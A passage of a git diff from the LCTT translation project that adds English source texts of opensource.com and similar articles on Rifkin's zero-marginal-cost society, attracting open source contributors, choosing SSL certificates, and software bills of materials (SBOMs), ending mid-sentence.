zero-emission transportation. The development of renewable energy establishes a five pillar mechanism that will allow billions of people to share energy at near zero marginal cost in the IoT world + +### Solar energy + +If you start collecting energy from the sun, facilities only need to obtain 00.1% of the sun's energy that reaches the Earth. That would provide six times the energy we now use globally. + +[SunPower Corporation][3] is one company doing that. It supports making homes energy producers. The price of solar photovoltaic (PV) cells tends to drop by 20% for every doubling of industry capacity. Solar panels are increasing, and their ability to capture more energy per panel is increasing. Expect to see the development of thinner solar panels, and paper thin solar sheets. Eventually there will be solar energy paint and solar energy windows in the future. + +When too much energy is generated, it must be sold elsewhere or stored in batteries or used to produce hydrogen. This technology is coming to the market and will dominate it very soon. With these technologies alone, electricity is on the way to have zero marginal cost. + +### Wind power generation + +Wind power has been growing exponentially since the 1990s, and is now nearing fossil fuel and nuclear power generation levels (as of 2015). With the lowering costs of windmill production, installation, and maintenance, wind power is doubling every 2-½ years. With the increase of solar and wind energy sources, governments do not need to subsidize them with tariffs any longer. + +[Energy Watch Group][4] is tracking this. According to Rifkin geothermal energy, biomass, and wave and tidal power will likely reach their own exponential takeoff stage within the next decade. He believes that all this will happen in the first half of the twenty-first century. If this capacity doubles eight more times, by 2028, 80% of all energy generation will be from these renewables. + +### The collaborative age will soon be here + +With all the above developments, society's working and living environment are changing. According to the [collaborative age][5]: "This means ensuring that people can collaborate on tasks without friction. That humans and machines work seamlessly together. And automation — machine to machine collaboration — will be crucial. Those businesses that get these elements right will be able to boost employee satisfaction and attract the best talent. They will reduce costs by automating mundane tasks and by requiring a smaller office footprint. The social impact-focused organizations that [Laura Hilliger][6] and [Heather Leson][7] write about how to take advantage of this new age. + +### Making the transition + +It sounds good, but how do businesses transition from the information age to the collaboration age? One area will be in decentralized production through 3D printing technology ([additive manufacturing][8], not cutting away and creating waste). + +Instead of shipping goods, in the future, software will be shipped for many items to be manufactured locally, avoiding all shipping costs and making manufacturing become on-site near where the market need is. Locally, newly developed molten plastics, molten metal, or other feedstock inside a printer will be used for fabrication. This will give one 3D printer the ability to produce tens of thousands of products (like jewelry, airplane parts, and human prostheses). + +### Centralized manufacturing vs local production which Rifkin projects will come + +Rifkin believes lower marketing costs are possible by using the IoT economy and using global internet marketing sites at almost zero marginal cost. + +1. There is little human involvement in the local 3D process (giving the name "infofacture" rather than manufacture. They ship the information required for local manufacturing, like downloading music today. It is just code that you receive. +2. The code for 3D printing is open source, so people can learn and improve designs, becoming further prosumers in a wide range of items (no intellectual-property protection barriers). This will lead to exponential growth over the next several decades, offering more complicated products at lower prices and near zero marginal cost. +3. There is great waste with subtraction processes (current manufacturing processes) producing great waste with each process. (1/10 the materials required. This material could be developed from subatomic particles that are available anywhere in the local environment, like recycled glass, fabrics, ceramics, and stainless steel. Composite-fiber concrete could be extruded form-free and be strong enough for building construction walls [probably available in two decades].) +4. 3D printing processes have fewer moving parts and less spare parts. Therefore, expensive retooling and changeover delays will be less extensive. +5. Materials will be more durable, recyclable, and less polluting. +6. Local distributed production, through IoT, will spread globally at an exponential rate with little shipping cost and less use of energy. + +Rifkin cites Etsy as an example of this model. You can find things you are interested in, and have them produced locally using their network. They sell the code, and you can have it supplied in your area. + +Rifkin feels that in the future, small and medium sized 3D businesses, infofacturing more sophisticated products, will likely cluster in local technology parks to establish an optimum lateral scale (another form of community development). Here are current examples: + +1. [RepRap][9]: This is a manufacturing machine that can produce itself and all its parts. +2. [Thingiverse][10] The largest 3D printing community. They share under the General Public Licenses (GPL) and Creative Commons Licenses. +3. Fab Lab: Open source peer-to-peer learning in manufacturing. It is being provided to local, distant communities in developing countries. +4. 3D Printed automobiles ([Urbee vehicle][11]) is already being tested. +5. [KOR EcoLogic][12] has an urban electric vehicle. + +### The makers' movement principles + +Here are the principles that these ecosystems follow: + +1. They use open source shared software. +2. They promote a collaborative learning culture. +3. They believe that it will build a self-sufficient community. +4. They are committed to sustainable production practices. + +### The future of work and collaborative commons + +When technology replaces workers, capital investments replace labor investments. In 2007, companies used 6 times more computers and software than 20 years before, doubling the amount of capital used per hour of employee work. The robot workforce is on the rise. China, India, Mexico, and other emerging nations are learning that the cheapest workers in the world are not as cheap, efficient, or productive as the information technology, robotics, and artificial intelligence that replaces them. + +Going back to Rifkin, the first industrial revolution ended slave and serf labor. The second industrial revolution will dramatically shrink agricultural and craft labor. Rifkin believes the third industrial revolution will be a decline in mass wage labor in the manufacturing, service industries, and salaried professional labor in large parts of the knowledge sector. + +Rifkin believes that an abundance, zero marginal cost economy, will change our notion of economic processes. He thinks the old paradigm of owners and workers, sellers and consumers will break down. Consumers will start producing for themselves (and a few others), eliminating their distinction. Prosumers will increasingly be able to produce, consume, and share their own goods and services with one another on the Collaborative Commons at diminishing marginal costs approaching zero, bringing to the fore new ways of organizing economic life beyond the traditional capitalist market mode. + +Rifkin forecasts that in the future, greater importance will be placed on the Collaborative Commons and be as important as hard work was in the market economy (one's ability to cooperate and collaborate as opposed to just working hard). The amassing of social capital will become as valued as the accumulation of market capital. Attachment to community and the search for transcendence and meaning comes to define the measure of one's material wealth. All the [open organization principles][13] we write about will be exponentially more important in the future. + +The IoT will free human beings from the capitalist market economy to pursue nonmaterial shared interests on the collaborative commons. Many — but not all — of our basic material needs will be met for nearly free in a near zero marginal cost society. It will be abundance over scarcity. + +### Prosumer and the entry of the smart economy + +Rifkin writes that as capitalist economies step aside in some global commodities, in the collaborative commons, sellers and buyers will give way to prosumers, property rights will make room for open source sharing, ownership will be less important than access, markets will be superseded by networks, and the marginal cost of supplying information, generating energy, manufacturing products, and teaching students will become nearly zero. + +### Internet of energy is on the way + +Financing of the IoT will not come from wealthy capitalists and corporate shareholders, but from hundreds of millions of consumers and taxpayers. No one owns the internet. It is only in operation because a set of agreed-upon protocols were established that allows computer networks to communicate with each other. It is a virtual public square for all who pay for a connection to use it. Next comes distributed renewable energies that will be distributed in the same way. Supported by feed-in tariffs and other fund-raising methods, governments will pay for the initial research, but after that fixed investment, the public will be able to connect and use it freely. Once underway, governmental centralized operations will move to distributed ownership. The [Electric Power Research Institute][14] (EPRI), is studying how to build a national energy internet over the next 20 years. + +This is not just supplying electricity. Every device in every building will be equipped with sensors and software that connect to the IoT, feeding real-time information on electricity use to both the on-site prosumer and the rest of the network. The entire network will know how much electricity is being used by every appliance at any moment — thermostats, washing machines, dishwashers, televisions, hair dryers, toasters, ovens, and refrigerators. + +This is not happening in the future, but now. It is not just being considered but being done now. [Intwine Energy][15] can supply the above process now. The issue is getting it into the greater global population. A group of young [social entrepreneurs][16] are now using social media to mobilize their peers to create, operate and use the energy internet. + +### A new world of abundance beyond our needs + +Rifkin thinks society has to start envisioning an entire different living environment. Imagine a world in which you can just give away things you once had to pay for, or had to sell at a profit. No one charges us for each internet connected phone call. He believes these give-away goods need not be covered by governments, like telecommunication, roads, bridges, public schools or hospitals. They need not be considered totally private property to be sold and bought, either. These goods have to be supplied in communities with rules, responsibilities and joint benefits (information, energy, local production, and online education). Not governed by the markets or governments, but by networked commons because of the [tragedy of the commons][17]. It governs and enforces distributed, peer-to-peer, laterally scaled economic activities. + +Rifkin feels the Collaborative Commons as a governing body is extremely important. This is where local (project) leadership comes in. The goals, processes, tasks and responsibilities must be successfully executed, after they have been decided and agreed on. Furthermore, "social capital" is a major factor. It must be widely introduced and deepened in quality. Community exchange, interaction and contribution is far more important than selling to distant capital markets. If that is the case, our [open organization leadership][18] will be extremely important. + +### The public square versus private ownership + +"The public square at — least before the Internet, is where we communicate, socialize, revel in each other's company, establish communal bonds, and create social capital and trust. These are all indispensable elements for a nurturing community." Historically, Japanese villages were built like that to survive natural, economic and political disasters like earthquakes and typhoons. They put common interests over self-interests This is what the open organization principle of community is all about. + +The right to be included, to have access to one another, which is the right to participate together, is a fundamental right of all. Private property, the right to enclose, own, and exclude is merely a qualified deviation from the norm. For some reason, having massive private property rights have gained in importance in more recent modern times. This will all be reversed in the years ahead according to Rifkin. + +Rifkin writes that the world will move to these commons: + +1. Public square commons +2. Land commons +3. Virtual commons +4. Knowledge commons (languages, cultures, human knowledge and wisdom) +5. Energy Commons +6. Electromagnetic spectrum commons +7. Ocean commons +8. Fresh water commons +9. Atmosphere commons +10. Biosphere commons. + +The past 200 years of capitalism, the enclosed, privatized, and commodification of the market must be put under review. How would they be most effective in a transparent, non-hierarchical and collaborative culture? It comes down to two views, the capitalist (I own it. It is mine, and you can't use it) and the collaborationist (This is for everyone to use, and there are rules and guidelines to use it, so everyone can get their fair share). Today's cooperatives are good at this, like the [International Co-operative Alliance (ICA)][19]. Cooperatives have to generate motivation for the greater community good, and that motivation must be greater than any profit motive. That is their challenge but this not new, as one in seven people on the earth are in some kind of cooperative now. + +As I've presented in this article, the IoT will become our working and living environment. Also, energy costs are projected to go to near zero. With those changes, community collaboration and cooperation will become ever more important over hard work. In the last part of this series I will look at Collaborative Commons in logistics and other economic activity. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/22/5/near-zero-marginal-cost-societies-and-impact-why-we-work + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/BUSINESS_networks.png +[2]: https://www.goodreads.com/book/show/18594514-the-zero-marginal-cost-society +[3]: https://us.sunpower.com +[4]: https://www.energywatchgroup.org +[5]: https://www.forbes.com/sites/ricoheurope/2020/02/06/moving-from-the-information-age-to-the-collaboration-age +[6]: http://www.zythepsary.com/author/admin +[7]: https://ch.linkedin.com/in/heatherleson +[8]: https://en.wikipedia.org/wiki/3D_printing +[9]: https://reprap.org/wiki/RepRap +[10]: https://www.thingiverse.com +[11]: https://www.popularmechanics.com/cars/a9645/urbee-2-the-3d-prinhttps://www.popularmechanics.com/cars/a9645/urbee-2-the-3d-printed-car-that-will-drive-across-the-country-16119485 +[12]: https://phys.org/news/2013-02-kor-ecologic-urbee-car-d.html +[13]: https://theopenorganization.org/definition/open-organization-definition/ +[14]: https://www.epri.com +[15]: https://www.intwineconnect.com +[16]: https://www.cleanweb.co +[17]: https://blogs.pugetsound.edu/econ/2018/03/09/comedy-of-the-commons +[18]: https://github.com/open-organization/open-org-leaders-manual/raw/master/second-edition/open_org_leaders_manual_2_3.pdf +[19]: https://www.ica.coop/en diff --git a/sources/talk/20220604 Attract contributors to your open source project with authenticity.md b/sources/talk/20220604 Attract contributors to your open source project with authenticity.md new file mode 100644 index 0000000000..d97d80f40d --- /dev/null +++ b/sources/talk/20220604 Attract contributors to your open source project with authenticity.md @@ -0,0 +1,141 @@ +[#]: subject: "Attract contributors to your open source project with authenticity" +[#]: via: "https://opensource.com/article/22/6/attract-contributors-open-source-project" +[#]: author: "Rizel Scarlett https://opensource.com/users/blackgirlbytes" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Attract contributors to your open source project with authenticity +====== +Check out these methods that open source maintainers can use to attract contributors in a genuine manner. + +![a big flag flying in a sea of other flags, teamwork][1] + +Image by: Opensource.com + +It's not a secret that maintaining an open source project is often thankless and time-consuming work. However, I've learned that there's one shared joy among open source maintainers: They love building with a group of technologists who passionately believe in their vision. + +### Marketing feels cringey + +Community support and teamwork are major incentives for open source maintainers. However, gaining community support and contributors is a challenge, especially as a new maintainer. The hope is that technologists will find our projects and start contributing by chance. The reality is we have to market our projects. Think about it: Developers create several public repositories daily, but nobody knows those repositories exist. Without adoption, community, or collaboration, we're not truly reaping the benefits of open source. + +Although marketing an open source project is necessary for a project's overall success, developers are hesitant to do it because marketing to other developers often feels inauthentic and cringey. In this article, I explore methods maintainers can use to attract contributors in a genuine manner. + +### Promote your open source project + +If you want people to contribute to your project, you have to tell them your project exists. So what can promotion look like for you? Instead of spamming discord channels or DMs about an open source project, maintainers can promote their projects through many channels, including: + +* Conference talks: People attend conferences to gain inspiration. Don't be afraid; they're not necessarily looking for a PhD-level lecture. Take the stage at an event like [All Things Open][2], [Open Source Series 101][3], [Codeland][4], or [Upstream][5] to talk about what you're building, why you're building it, issues you face, and discoveries you have made. After your talk, people may want to learn more about what you're building and how they can get involved. +* Blogging: Leverage popular developer blogging platforms such as [Aviyel][6], [Dev.to][7], or [Hashnode][8] to talk about your project. Add a link to your project within the blog posts so that the right people can find it. You can also [submit an article][9] to the editors here on Opensource.com to raise awareness about your open source project! +* Twitter: Twitter has a large tech audience, including Developers, UX Designers, Developer Advocates, and InfoSec professionals who want to collaborate and learn from each other. Twitter is the perfect platform to post in an authentic, non-pushy way about your discoveries, new releases, and bug fixes. Folks will learn from you through your tweets and may feel inclined to build with you. +* Podcasts or Twitter Spaces: Like conference talks, use podcasts and Twitter Spaces to build your project's brand. You don't have to talk about it in a marketing way. You can geek out with the host over your vision and the technical hiccups you've faced along the way. +* Twitch Streams: Stream yourself live coding your project to create awareness of its existence and pair the program with your viewers. Eventually, they might tell other people about your product, or they might ask to contribute themselves. +* Hacktoberfest: Hacktoberfest is a month-long event in October that encourages people to make their first contributions to projects. By participating in Hacktoberfest as a maintainer, you may recruit new contributors. +* Sponsorships: Contributions don't always have to include code. Corporations and individuals can contribute by sponsoring you. Learn more about creating an appealing Sponsor profile [here][10]. + +### Gain community support + +The proverb "it takes a village" applies to more than child-rearing. It also takes a village to maintain an open source project. Community is a large part of open source and just general life success. However, community support is a two-way street. To sustain community support, it's a best practice to give back to community members. + +What can community support look like for you? As you promote your project, you will find folks willing to support you. To encourage them to continue supporting and appeal to other potential supporters, you can: + +* Highlight contributors/supporters: Once you start getting contributors, you can motivate more people to contribute to your project by highlighting past, current, or consistent contributors in your README. This acknowledgment shows that you value and support your contributors. Send your contributors swag or a portion of your sponsorship money if you can afford it. Folks will naturally gravitate to your projects if you're known for genuinely supporting your open source community. + +![Acknowledge contributors on a profile page][11] + +* Establish a culture of kindness: Publish a Code of Conduct in your repository to ensure psychological safety for contributors. I strongly suggest you also adhere to those guidelines by responding kindly to people in comments, pull requests, and issues. It's also vital that you enforce your Code of Conduct. If someone in your community is not following the rules, make sure they face the outlined consequences without exception. Don't let a toxic actor ruin your project's environment with unkind language and harassment. +* Provide a space for open discussion: Often, contributors join an open source community to befriend like-minded technologists, or they have a technical question, and you won't always be available to chat. Open source maintainers often use one of the following tools to create a place for contributors to engage with each other and ask questions in the open: + * GitHub Discussions + * Discord + * Matrix.org + * Mattermost + +### Create a "good" open source project + +*Good* is subjective in code or art, but there are a few ways to indicate that your project is well thought out and a good investment. What does creating a good project look like for you? Your project doesn't have to include amazing code or be a life-changing project to indicate quality. Instead, ensure that your project has the following attributes. + +#### Easy to find + +To help other people find and contribute to your project, you can add topics to your repository related to your project's intended purpose, subject area, affinity groups, or other important qualities. When people go to github.com/topics to search for projects, your project has a higher chance of showing up. + +![GitHub Scientist page][12] + +#### Easy to use + +Make your project easy to use with a detailed README. It's the first thing new users and potential contributors see when visiting your project's repository. Your README should serve as a how-to guide for users. I suggest you include the following information in your README: + +* Project title +* Project description +* Installation instructions +* Usage instructions +* Link to your live web app +* Links to related documentation (code of conduct, license, contributing guidelines) +* Contributors highlights + +You can learn more about crafting the perfect README [here][13]. + +#### Easy to contribute to + +Providing guidelines and managing issues help potential contributors understand opportunities to help. + +* Contributing guidelines - Similar to a README, contributors look for a markdown file called Contributing.md for insight on how to contribute to your project. Guidelines are helpful for you and the contributor because they won't have to ask you too many questions. The contributing guidelines should answer frequently asked questions. I suggest including the following information in your Contributing.md file: + * Technologies used + * How to report bugs + * How to propose new features + * How to open a pull request + * How to claim an issue or task + * Environment set up + * Style guide/code conventions + * Link to a discussion forum or how people can ask for help + * Project architecture (nice to have) + * Known issues +* Good first issues - Highlight issues that don't need legacy project knowledge with the label good-first-issue, so new contributors can feel comfortable contributing to your project for the first time. + +![discover issues with GitHub][14] + +### Exercise persistence + +Even if no one contributes to your project, keep it active with your contributions. Folks will be more interested in contributing to an active project. What does exercising persistence look like for your project? Even if no one is contributing, continue to build your project. If you can't think of new features to add and you feel like you fixed all the bugs, set up ways to make your project easy to manage and scale when you finally get a ton of contributors. + +* Scalability: Once you get contributors, it will get harder to balance responding to every issue. While you're waiting for more contributors, automate the tasks that will eventually become time-consuming. You can leverage GitHub Actions to handle the release process, CI/CD, or enable users to self-assign issues. + +### TL;DR + +Attracting contributors to your open source project takes time, so be patient and don't give up on your vision. While you're waiting, promote your project by building in public and sharing your journey through blog posts, tweets, and Twitch streams. Once you start to gain contributors, show them gratitude in the form of acknowledgment, psychological safety, and support. + +### Next steps + +For more information on maintaining an open source project, check out [GitHub's Open Source Guide][15]. + +Image by: (Rizel Scarlett, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/attract-contributors-open-source-project + +作者:[Rizel Scarlett][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/blackgirlbytes +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/leader_flag_people_team_group.png +[2]: https://2021.allthingsopen.org/ +[3]: https://opensource101.com/ +[4]: https://codelandconf.com/ +[5]: https://upstream.live/ +[6]: http://aviyel.com/ +[7]: https://dev.to/ +[8]: https://hashnode.com/ +[9]: https://opensource.com/writers +[10]: https://dev.to/github/how-to-create-the-perfect-sponsors-profile-for-your-open-source-project-3747 +[11]: https://opensource.com/sites/default/files/2022-05/contributors.png +[12]: https://opensource.com/sites/default/files/2022-05/github-scientist.png +[13]: https://dev.to/github/how-to-create-the-perfect-readme-for-your-open-source-project-1k69 +[14]: https://opensource.com/sites/default/files/2022-05/label-issues.png +[15]: https://opensource.guide/ diff --git a/sources/talk/20220609 SSL Certificates- Make the Right Choice.md b/sources/talk/20220609 SSL Certificates- Make the Right Choice.md new file mode 100644 index 0000000000..7f66bd67f9 --- /dev/null +++ b/sources/talk/20220609 SSL Certificates- Make the Right Choice.md @@ -0,0 +1,120 @@ +[#]: subject: "SSL Certificates: Make the Right Choice" +[#]: via: "https://www.opensourceforu.com/2022/06/ssl-certificates-make-the-right-choice/" +[#]: author: "Jitendra Bhojwani https://www.opensourceforu.com/author/jitendra-bhojwani/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +SSL Certificates: Make the Right Choice +====== +Increasingly sophisticated techniques are being used to hack into data today. So it has become extremely important to use even better ways to protect your customers’ data. SSL certification is one such way. This article looks at the different types of SSL certificates and how to choose one that suits your organisation. + +![SSL-certificate][1] + +*Increasingly sophisticated techniques are being used to hack into data today. So it has become extremely important to use even better ways to protect your customers’ data. SSL certification is one such way. This article looks at the different types of SSL certificates and how to choose one that suits your organisation.* + +SSL certificates are an apt solution for securing data in transit. They create an automated mechanism to encrypt the transfer of data between the server and browser (or site and visitor). This encryption can only be decrypted by the intended system. So it discourages hackers from stealing data, and offers complete security against transit attacks on it. + +Along with securing communication, SSL certificates also build trust with customers and help you emerge as a credible business by displaying virtual trust icons like a padlock, HTTPS prefix, and a green address bar. So let’s learn about the major types of SSL certificates and how to choose the one that works best for you. + +### SSL certificate options: Similarities and differences + +Let’s first discuss the basic similarity all SSL certificates share. Regardless of their type, price and scope, every SSL certificate encrypts the to-and-fro communication between the site’s server and the Internet browser of your visitor. + +The difference lies in the terms and conditions of the validation process and the number of domains/subdomains it covers, etc. Proceeding to purchase an SSL certificate without first reviewing your present and future needs may result in costly mistakes, and you may end up paying a hefty amount for advanced features that are irrelevant to your business. Or you may get tempted to buy a cheap certificate that isn’t a perfect fit for your business needs. +Due to the crucial role it plays, an SSL certificate is issued by an official certificate authority after a thorough verification procedure to confirm the legitimacy of ownership. So, this certificate not only encrypts the communication between websites and audiences, but also ensures the legal position of a site. It plays a vital role in building trust. + +As you have now understood why we need a SSL certificate, we can discuss the different types of popular SSL certificates, along with their benefits and issuance procedures. + +### Domain validation (DV) SSL certificate + +The most basic of the three types of SSL certificates, the DV or domain validation certificate confirms the ownership of a domain through an automated online process. All you have to do is to complete a few basic steps to prove that you are the legitimate owner of the domain to get this certificate. Though easiest to get, this type of certificate helps in building only a basic level of trust. + +After completing the DV certification procedure, you are allocated trust-building visual elements — a static seal, a padlock icon, and an HTTPS prefix in your URL. + +Cheapest prices and quick, automated processes are the two major benefits of a DV certificate. On the flip side, you get only the basic trust signs that aren’t enough to satisfy the security concerns of more demanding customers or visitors. + +*Important to know:* DV misses the most important trust sign — vetting the real, legal business that owns the domain name. For instance, suppose Mr X buys a domain ‘abc.com’ to lure gullible people into investing money in a business that seems genuine. Being a legitimate domain owner, he can get a DV through an automated process. With HTTPS URLs and other trust signs, it is easy to gain people’s trust too. However, the company (or fraud mechanism) behind this domain isn’t vetted/verified, which makes it easier for Mr X to continue duping investors of their hard-earned money. + +Is DV SSL the right choice for you?: DV is best for a small and general website, which doesn’t demand or require any sensitive information that can be misused like credit card numbers, social security information, or details of a financial portfolio. For websites that post children’s stories, general e-magazines, personal blogs, professional portfolios, and other static websites on general topics, a DV certificate is a perfect and cheap solution. Securing more mission-critical sites that collect sensitive data like credit card numbers and social security details is a different story though. + +### Organisation validation (OV) SSL certificate + +As the name suggests, the OV certificate not only validates the domain ownership but also vets the real identity of the organisation to which the domain officially belongs. It builds an extra layer of trust for visitors who have stronger concerns, by displaying the key information about the business. Interested visitors just need to check the details of the certificate to ascertain the credibility of the company. + +As compared to a DV certificate, an OV certification requires a more detailed process carried out by an authorised certificate authority that demands and vets key documents representing the legal status of the company. Hence, along with domain ownership, this certificate also assures that it is owned by a legitimate organisation. + +Though the issuance process is more expensive and demanding, this type of certificate does empower you to position your company as a legal, real company doing legitimate business. It makes you stand out and even more concerned visitors are able to trust your organisation. + +Is OV the right choice for you?: Sites that ask for sensitive data that can be misused by threat actors should obtain this certificate. E-commerce sites with online payment gateways, digital health practitioners, government websites that demand citizens’ information, defence-related websites, online trading platforms, or professional networking sites are all the right candidates for obtaining an OV certificate. + +### Extended validation (EV) SSL certificate + +In the digital domain, visuals matter a lot. A company seal, security icons, or even assuring colours (like green) can go a long way in leaving a lasting impression, winning you a big deal or helping you forge business relations with dynamic brands. + +The vetting procedure for issuing an EV SSL certificate is quite stringent and involves a manual process as well. It starts by verifying the ownership of the domain. After that, the certification authority asks for your identification number. Next, it gets your legal working contact number from relevant authentic sources. That contact number is manually verified by calling your office and talking with the real person. Only after satisfying all such verification parameters can you get the EV certificate. + +Unlike an OV certificate, you don’t just get a static site seal with a basic look, but get dynamic seals as well. Additionally, the full legal company name is displayed in the address bar along with a green-coloured padlock. Added to this, the entire address bar turns green as soon as your site loads. All these visible signs vouch for the legality of your firm, build a ‘visual comfort zone’ and reaffirm the credibility of your organisation. + +Such certificates satisfy the sophisticated digital security vetting parameters of global brands and corporate conglomerates. If highly expensive items like gold and diamond jewellery are being sold on a website, then such superior trust factors satisfy the higher trust demands of buyers. Though this certificate is the most expensive among all the SSL certificates, it is worth investing in the extra dollars as it has the potential to significantly boost your sales revenue. + +### Scope of different SSL certificates + +Apart from the type of certificate, the other crucial question is: how many digital properties you want your certificate to cover? If you own a single domain property and do not want to expand in the foreseeable future, then a single DV would do for you. But what if you own, say, 20 different domains — most of which deal with e-commerce or collect sensitive client information? It wouldn’t be practical to buy the more expensive EV certificate for each of these domains. Here is some guidance on that. + +### Wildcard SSL certificate + +With a single wildcard SSL certificate you can protect the main domain and practically unlimited sub-domains related to it. For instance, yoursite.com (the main domain) may have three subdomains: + +* mail.yoursite.com +* login.yoursite.com +* ftp.yoursite.com + +This certificate relieves you from the stress and expenses of purchasing a separate certificate for every domain after going through the complete validation process, followed by an installation process for each. It also saves you a lot of time on repetitive processes and almost eliminates potential errors. + +| - | +| :- | +| Note: Both DV and OV offer wildcard certificate options. | + +### Multi-domain (or SAN SSL) certificate + +One level above the wildcard SSL certificate is the multi-domain certificate, which helps to secure primary domains and their related subdomains. It does everything that a wildcard certificate can do, and more. If you own multiple domains and want a uniform and standard SSL security for all, then a multi-domain certificate is the right choice for you. + +### Is SSL certification only about visual trust signs? + +Obviously, when you spend significant money on an SSL certificate you would like to get more than security icons or trust signals. Well, your certification authority does offer a specific amount of warranty or a payback if your customers become victims of a fraud. The amount of this warranty depends upon the type of certificate and how much it costs. + +### How to choose the ideal certificate authority (CA) for SSL + +The next question is: who can judge the judge? It is you. Carefully consider some of the prime factors while finding the right SSL certificate provider/CA for your site. Before buying any certificate, thoroughly vet the reputation, credentials and experience of the certificate authority. + +Also, ask questions. Do they have a credible history? What type of customers do they have in their repertoire? Do they have an impressive portfolio of regular customers? Most importantly, is the company passively following old industry standards, or is it actively investing in research and development on how to prevent the latest cyber frauds? All such questions will help you to make informed decisions and get the best value for your money. + +Also make another very important check: Has any major browser banned the CA? The very objective of the SSL certificate is defeated if the CA has been banned by a major browser. + +### How long does it take for an SSL certificate to be issued? + +The time taken to issue a certificate varies and depends upon the validation procedure and its requirements. A DV certificate, for instance, is issued within minutes as it has the least verification requirements. An OV SSL, with more detailed vetting requirements, can take up to three days for issuance. Since it has the most demanding vetting process, the EV certificate can take up to four days for issuance. + +The validation period of the certificate, along with its credibility and scope, plays an important role in influencing its price. It is always best to use your discretion, and find a fine balance between the price and value of the certificate. + +A few reputed SSL certificates go the extra mile and also offer extra security measures to customers. You can never be secure enough on a digital platform. So it is always best to see if such additional security elements will be helpful. However, your prime focus should be the credibility and portfolio of the company. It isn’t wise to compromise with that just to get some extra security elements. + +SSL certificates encrypt the data and information that customers share with organisations. They help to save customers from data theft and misuse by threat actors. But it’s always advisable to check the credibility and reviews of a certificate authority carefully before buying a SSL certificate from it. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/ssl-certificates-make-the-right-choice/ + +作者:[Jitendra Bhojwani][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jitendra-bhojwani/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/SSL-certificate.jpg diff --git a/sources/talk/20220615 SBOM – SB Doesn-t Stand for Silver Bullet.md b/sources/talk/20220615 SBOM – SB Doesn-t Stand for Silver Bullet.md new file mode 100644 index 0000000000..e43bd0baf5 --- /dev/null +++ b/sources/talk/20220615 SBOM – SB Doesn-t Stand for Silver Bullet.md @@ -0,0 +1,120 @@ +[#]: subject: "SBOM – SB Doesn’t Stand for Silver Bullet" +[#]: via: "https://www.linux.com/news/sbom-sb-doesnt-stand-for-silver-bullet/" +[#]: author: "Dan Whiting https://www.linuxfoundation.org/blog/sbom-sb-doesnt-stand-for-silver-bullet/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +SBOM – SB Doesn’t Stand for Silver Bullet +====== +Software Bill of Materials (SBOMs) are like ingredient labels on food. They are critical to keep consumers safe and healthy, they are somewhat standardized, but it is a lot more exciting to grow or make the food rather than the label. + +### What is an SBOM? + +What is an SBOM? In short, it is a way to tell another party all of the software that is used in the stack that makes up an application. One benefit of having a SBOM is you know what is in there when a vulnerability comes up. You can easily determine if you are vulnerable and where. + +As modern software is built utilizing a base of software already written (no sense in recreating the wheel), it is important that all of the components don’t get lost in the shuffle. It isn’t readily apparent what a particular piece of software utilizes. So, if a vulnerability for Software A arises, you need to know, do I have that piece of software somewhere in my ecosystem, and, if so, where. Then you can remediate if you need to. + +I can’t take credit for the food label analogy used in my introduction. I heard it from [Allan Friedman][1], a Senior Advisor and Strategist at the [U.S. Cybersecurity and Infrastructure Security Agency][2] (CISA) and a key SBOM advocate, when he presented about SBOMs at the RSA Conference 2022 with [Kate Stewart][3], the VP of Dependable Embedded Systems here at the Linux Foundation. Allan made the point that food labels only provide information. The consumer needs to read and understand them and take appropriate action. For instance, if they are allergic to peanuts, they can look at an ingredient label and determine if they can safely eat the food. + +SBOMs are similar – they tell a person what software is used as an “ingredient” so someone can determine if they need to take action if a vulnerability arises. It isn’t a silver bullet, but it is a vital tool. Without SBOMs no one can track what component “ingredients” are in their software applications. + +### SBOMs and the Software Supply Chain + +Supply chains are impacting our lives more than just restricting availability of consumer goods. Software supply chains are immensely more complicated now as software is built with pre-existing components. This makes software better, more effective, more powerful, etc. But it also introduces risk as more and more parties touch a particular piece of software. Much like our world has become so interdependent, so has our software. + +Understanding what is in the supply chain for our software helps us effectively secure it. When a new risk emerges, we know what we need to do. + +### SBOMs and Software Security + +SBOMs are increasingly being recognized as an important pillar in any comprehensive software security plan. A global [survey conducted in 2021 Q3 by the Linux Foundation][4] found that 78% of organizations responding plan to use SBOMs in 2022. Additionally, the recently published [Open Source Software Security Mobilization Plan][5] recommends SBOMs be universal and the [U.S. Executive Order on Improving the Nation’s Cybersecurity][6] requires SBOMs be provided for software purchased by the U.S. government. And, as Allan points out in his talk, “We buy everything.” The E.O. actually lays out a nice summary of SBOMs and their benefits: + +The term “Software Bill of Materials” or “SBOM” means a formal record containing the details and supply chain relationships of various components used in building software. Software developers and vendors often create products by assembling existing open source and commercial software components. The SBOM enumerates these components in a product. It is analogous to a list of ingredients on food packaging. An SBOM is useful to those who develop or manufacture software, those who select or purchase software, and those who operate software. Developers often use available open source and third-party software components to create a product; an SBOM allows the builder to make sure those components are up to date and to respond quickly to new vulnerabilities. Buyers can use an SBOM to perform vulnerability or license analysis, 